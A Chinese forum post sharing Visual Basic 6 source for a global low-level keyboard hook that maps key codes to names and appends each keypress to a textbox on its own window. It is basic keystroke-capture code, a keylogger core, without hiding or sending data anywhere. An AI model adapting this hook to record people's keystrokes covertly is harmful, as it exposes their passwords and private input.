= =反正留着没用,把源码上来算了
窗体:Private Sub Form_Load()
HookID = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyHook, App.hInstance, 0)
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsHookEx HookID
End Sub
模块:Public Type PKBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public HookID As LongPublic Const HC_ACTION = 0
Public Const WM_KEYDOWN = &H100
Public Const WM_SYSKEYDOWN = &H104
Public Const WH_KEYBOARD_LL = 13
Public Function GetKeyName(KeyCode As Long) As String
On Error Resume Next
Dim Ret As String
Select Case KeyCode
Case 8
Ret = "退格"
Case 9
Ret = "Tab"
Case 13
Ret = "回车"
Case 16
Ret = "Shift"
Case 17
Ret = "Ctal"
Case 18
Ret = "Alt"
Case 19
Ret = "Pause"
Case 20
Ret = "大小写"
Case 27
Ret = "Esc"
Case 32
Ret = "空格"
Case 33
Ret = "Page Up"
Case 34
Ret = "Page Down"
Case 35
Ret = "End"
Case 36
Ret = "Home"
Case 41
Ret = "Select"
Case 42
Ret = "Print Screen"
Case 43
Ret = "Execute"
Case 44
Ret = "Snapshot"
Case 45
Ret = "Insert"
Case 46
Ret = "Delete"
Case 47
Ret = "Help"
Case 48
Ret = "0"
Case 49
Ret = "1"
Case 50
Ret = "2"
Case 51
Ret = "3"
Case 52
Ret = "4"
Case 53
Ret = "5"
Case 54
Ret = "6"
Case 55
Ret = "7"
Case 56
Ret = "8"
Case 57
Ret = "9"
Case 65
If CheckCapsLock Then
Ret = "A"
Else
Ret = "a"
End If
Case 66
If CheckCapsLock Then
Ret = "B"
Else
Ret = "b"
End If
Case 67
If CheckCapsLock Then
Ret = "C"
Else
Ret = "c"
End If
Case 68
If CheckCapsLock Then
Ret = "D"
Else
Ret = "d"
End If
Case 69
If CheckCapsLock Then
Ret = "E"
Else
Ret = "e"
End If
Case 70
If CheckCapsLock Then
Ret = "F"
Else
Ret = "f"
End If
Case 71
If CheckCapsLock Then
Ret = "G"
Else
Ret = "g"
End If
Case 72
If CheckCapsLock Then
Ret = "H"
Else
Ret = "h"
End If
Case 73
If CheckCapsLock Then
Ret = "I"
Else
Ret = "i"
End If
Case 74
If CheckCapsLock Then
Ret = "J"
Else
Ret = "j"
End If
Case 75
If CheckCapsLock Then
Ret = "K"
Else
Ret = "k"
End If
Case 76
If CheckCapsLock Then
Ret = "L"
Else
Ret = "l"
End If
Case 77
If CheckCapsLock Then
Ret = "M"
Else
Ret = "m"
End If
Case 78
If CheckCapsLock Then
Ret = "N"
Else
Ret = "n"
End If
Case 79
If CheckCapsLock Then
Ret = "O"
Else
Ret = "o"
End If
Case 80
If CheckCapsLock Then
Ret = "P"
Else
Ret = "p"
End If
Case 81
If CheckCapsLock Then
Ret = "Q"
Else
Ret = "q"
End If
Case 82
If CheckCapsLock Then
Ret = "R"
Else
Ret = "r"
End If
Case 83
If CheckCapsLock Then
Ret = "S"
Else
Ret = "s"
End If
Case 84
If CheckCapsLock Then
Ret = "T"
Else
Ret = "t"
End If
Case 85
If CheckCapsLock Then
Ret = "U"
Else
Ret = "u"
End If
Case 86
If CheckCapsLock Then
Ret = "V"
Else
Ret = "v"
End If
Case 87
If CheckCapsLock Then
Ret = "W"
Else
Ret = "w"
End If
Case 88
If CheckCapsLock Then
Ret = "X"
Else
Ret = "x"
End If
Case 89
If CheckCapsLock Then
Ret = "Y"
Else
Ret = "y"
End If
Case 90
If CheckCapsLock Then
Ret = "Z"
Else
Ret = "z"
End If
Case 91
Ret = "左Win"
Case 92
Ret = "右Win"
Case 93
Ret = "Apps"
Case 95
Ret = "休眠"
Case 96
Ret = "小键盘0"
Case 97
Ret = "小键盘1"
Case 98
Ret = "小键盘2"
Case 99
Ret = "小键盘3"
Case 100
Ret = "小键盘4"
Case 101
Ret = "小键盘5"
Case 102
Ret = "小键盘6"
Case 103
Ret = "小键盘7"
Case 104
Ret = "小键盘8"
Case 105
Ret = "小键盘9"
Case 106
Ret = "小键盘*"
Case 107
Ret = "小键盘+"
Case 108
Ret = "小键盘回车"
Case 109
Ret = "小键盘-"
Case 110
Ret = "小键盘."
Case 111
Ret = "小键盘/"
Case 112
Ret = "F1"
Case 113
Ret = "F2"
Case 114
Ret = "F3"
Case 115
Ret = "F4"
Case 116
Ret = "F5"
Case 117
Ret = "F6"
Case 118
Ret = "F7"
Case 119
Ret = "F8"
Case 120
Ret = "F9"
Case 121
Ret = "F10"
Case 122
Ret = "F11"
Case 123
Ret = "F12"
Case 219
Ret = "["
Case 221
Ret = "]"
Case 220
Ret = "\"
Case 186
Ret = ";"
Case 222
Ret = "'"
Case 190
Ret = "."
Case 191
Ret = "?"
Case 188
Ret = "逗号"
Case 144
Ret = "小键盘开关"
Case 192
Ret = "`"
Case 160
Ret = "左Shift"
Case 162
Ret = "左Ctrl"
Case 164
Ret = "左Alt"
Case 165
Ret = "右Alt"
Case 163
Ret = "右Ctrl"
Case 161
Ret = "右Shift"
Case 38
Ret = "上"
Case 40
Ret = "下"
Case 37
Ret = "左"
Case 39
Ret = "右"
Case Else
Ret = KeyCode
End Select
GetKeyName = Ret
End FunctionPublic Function MyHook(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim KeyMsg As PKBDLLHOOKSTRUCT
If nCode = HC_ACTION Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
CopyMemory KeyMsg, ByVal lParam, Len(KeyMsg)
Form1.Text1 = Form1.Text1 & GetKeyName(KeyMsg.vkCode) & ","
End If
End If
CallNextHookEx WH_KEYBOARD_LL, nCode, wParam, lParam
End Function
Public Function CheckCapsLock() As Boolean
If GetKeyState(20) Mod 65408 = 1 Then
CheckCapsLock = True
Else
CheckCapsLock = False
End If
End Function
[ 此帖被无名神棍在2012-04-07 20:50重新编辑 ]